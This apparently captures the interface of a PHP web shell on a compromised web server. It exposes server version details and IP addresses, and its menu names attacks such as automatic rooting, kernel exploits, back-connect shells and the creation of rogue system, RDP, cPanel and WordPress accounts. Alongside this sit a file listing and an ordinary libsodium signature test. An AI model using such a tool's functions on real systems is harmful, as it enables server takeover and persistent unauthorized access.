Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
libsodium-2.0.23 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
crypto_aead.phpt
6.66
KB
-rw-r--r--
crypto_auth.phpt
1.09
KB
-rw-r--r--
crypto_box.phpt
5.09
KB
-rw-r--r--
crypto_generichash.phpt
2.86
KB
-rw-r--r--
crypto_hex.phpt
426
B
-rw-r--r--
crypto_kdf.phpt
1.48
KB
-rw-r--r--
crypto_kx.phpt
1.58
KB
-rw-r--r--
crypto_scalarmult.phpt
582
B
-rw-r--r--
crypto_secretbox.phpt
613
B
-rw-r--r--
crypto_secretstream.phpt
1.98
KB
-rw-r--r--
crypto_shorthash.phpt
607
B
-rw-r--r--
crypto_sign.phpt
2.88
KB
-rw-r--r--
crypto_stream.phpt
1.16
KB
-rw-r--r--
exception_trace_without_args.p...
421
B
-rw-r--r--
inc_add.phpt
909
B
-rw-r--r--
installed.phpt
554
B
-rw-r--r--
pwhash_argon2i.phpt
1.52
KB
-rw-r--r--
utils.phpt
3.45
KB
-rw-r--r--
version.phpt
284
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : crypto_sign.phpt
--TEST-- Check for libsodium ed25519 signatures --SKIPIF-- <?php if (!extension_loaded("sodium")) print "skip"; ?> --FILE-- <?php $keypair = sodium_crypto_sign_keypair(); var_dump(strlen($keypair) === SODIUM_CRYPTO_SIGN_KEYPAIRBYTES); $sk = sodium_crypto_sign_secretkey($keypair); var_dump(strlen($sk) === SODIUM_CRYPTO_SIGN_SECRETKEYBYTES); $pk = sodium_crypto_sign_publickey($keypair); var_dump(strlen($pk) === SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES); var_dump($pk !== $sk); $keypair2 = sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk); var_dump($keypair === $keypair2); $alice_kp = sodium_crypto_sign_keypair(); $alice_secretkey = sodium_crypto_sign_secretkey($alice_kp); $alice_publickey = sodium_crypto_sign_publickey($alice_kp); $msg = "Here is the message, to be signed using Alice's secret key, and " . "to be verified using Alice's public key"; $msg_signed = sodium_crypto_sign($msg, $alice_secretkey); var_dump(strlen($msg_signed) - strlen($msg) === SODIUM_CRYPTO_SIGN_BYTES); $msg_orig = sodium_crypto_sign_open($msg_signed, $alice_publickey); var_dump($msg_orig === $msg); $seed = str_repeat('x', SODIUM_CRYPTO_SIGN_SEEDBYTES); $alice_kp = sodium_crypto_sign_seed_keypair($seed); $alice_secretkey = sodium_crypto_sign_secretkey($alice_kp); $alice_publickey = sodium_crypto_sign_publickey($alice_kp); $msg = "Here is another message, to be signed using Alice's secret key, and " . "to be verified using Alice's public key, which will be always the same " . "since they are derived from a fixed seed"; $msg_signed = sodium_crypto_sign($msg, $alice_secretkey); var_dump(strlen($msg_signed) - strlen($msg) === SODIUM_CRYPTO_SIGN_BYTES); $msg_orig = sodium_crypto_sign_open($msg_signed, $alice_publickey); var_dump($msg_orig === $msg); $signature = sodium_crypto_sign_detached($msg, $alice_secretkey); var_dump(strlen($signature) === SODIUM_CRYPTO_SIGN_BYTES); var_dump(sodium_crypto_sign_verify_detached($signature, $msg, $alice_publickey)); var_dump(sodium_crypto_sign_verify_detached($signature, $msg . "\0", $alice_publickey)); $calc_pubkey = sodium_crypto_sign_publickey_from_secretkey($alice_secretkey); var_dump(sodium_memcmp($calc_pubkey, $alice_publickey) === 0); $ed25519key = sodium_hex2bin("55b62f664bf1c359f58a6b91b89556f97284273510573055b9237d17f5a20564607f0626f49e63c2c8f814ed6d955bf8b005b33fd5fd56eaca93073d8eb99165"); $curve25519key = sodium_crypto_sign_ed25519_sk_to_curve25519($ed25519key); var_dump($curve25519key === sodium_hex2bin("381b2be5e3d38820deb1243fb58b4be654da30dd3ccde492cb88f937eb489363")); try { sodium_crypto_sign($msg, substr($alice_secretkey, 1)); } catch (SodiumException $ex) { var_dump(true); } ?> --EXPECT-- bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(true) bool(false) bool(true) bool(true) bool(true)
Close